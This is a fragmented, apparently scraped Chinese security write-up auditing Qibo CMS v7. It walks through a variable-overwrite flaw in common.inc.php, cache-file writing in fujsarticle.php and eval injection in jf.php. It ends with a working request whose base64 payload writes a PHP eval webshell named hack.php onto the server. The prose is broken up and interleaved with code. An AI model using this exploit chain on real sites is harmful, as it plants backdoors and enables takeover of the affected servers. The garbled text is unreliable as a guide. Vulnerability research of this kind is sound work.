fujsarticle.php
global.php
:require_once(dirname(__FILE__)."/"."../inc/common.inc.php"); //核心文件
/inc/common.inc.php
,继续跟进,在其中就能找到一段有问题的代码,<?php...$_POST=Add_S($_POST);$_GET=Add_S($_GET);$_COOKIE=Add_S($_COOKIE);...foreach($_COOKIE AS $_key=>$_value){ unset($$_key);}foreach($_POST AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];}foreach($_GET AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];}
foreach
来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。<?phperror_reporting(0);$id=111111;echo $id;echo "</br>";foreach($_COOKIE AS $_key=>$_value){ unset($$_key);}foreach($_POST AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];}foreach($_GET AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];}$id;echo $id;?>
$id
的值覆盖id
在一开始被初始化,后来经过foreach
进行遍历,变量就会被覆盖。同理,当我们构造FileName
时,遍历后没有再次初始化,导致变量覆盖。然后FileName
进行传递<?php...$FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/";if($type=='like'){ $FileName.=floor($id/3000)."/";}else{ unset($id);}...if(!is_dir(dirname($FileName))){ makepath(dirname($FileName));}if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){ write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");}
<?php $show=stripslashes('<div class=\\\'side_t\\\' style=\\\'height:24px;background:url(http://localhost/qibo_v7/images/default/ico_block.gif) no-repeat 0px 3px;padding-left:15px;\\\'><A target=\\\'_blank\\\' HREF=\\\'http://localhost/qibo_v7/bencandy.php?fid=14&id=542\\\' title=\\\'</div>'); ?>
hint.php
,并生成了特定内容。/data/mysql_config.php
。jf.php
<?phprequire(dirname(__FILE__)."/"."global.php");$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");while($rs = $db->fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list"); while($rs2 = $db->fetch_array($query2)){ eval("\$rs2[title]=\"$rs2[title]\";"); eval("\$rs2[content]=\"$rs2[content]\";"); $jfDB[$rs[fid]][]=$rs2; }}require(ROOT_PATH."inc/head.php");require(html("jf"));require(ROOT_PATH."inc/foot.php");?>
qb_jfabout
和qb_jfsort
两个表内的数据,并且结合后面的eval语句,我们可以在表内插入恶意语句<?php$string1 = "sp4c1ous";$string2 = "BigPowercat";$str = '$string1 & $string2 are gay';echo $str. "<br />";eval("\$str = \"$str\";");echo $str;?>
qb_jfabout
和qb_jfsort
的表,在第一个表的title
和content
插入语句,然后借助file_put_contents
"+$_GET[a]($_GET[b]);+" | "+$_GET[a]($_GET[b]);+" |
/do/jf.php?dbuser=数据库用户&dbpw=数据库密码&dbhost=数据库地址&dbname=数据库名称&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${file_put_contents(base64_decode('aGFjay5waHA='),base64_decode('PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+'))};
原文链接:https://xz.aliyun.com/t/11276
学习更多技术,关注我: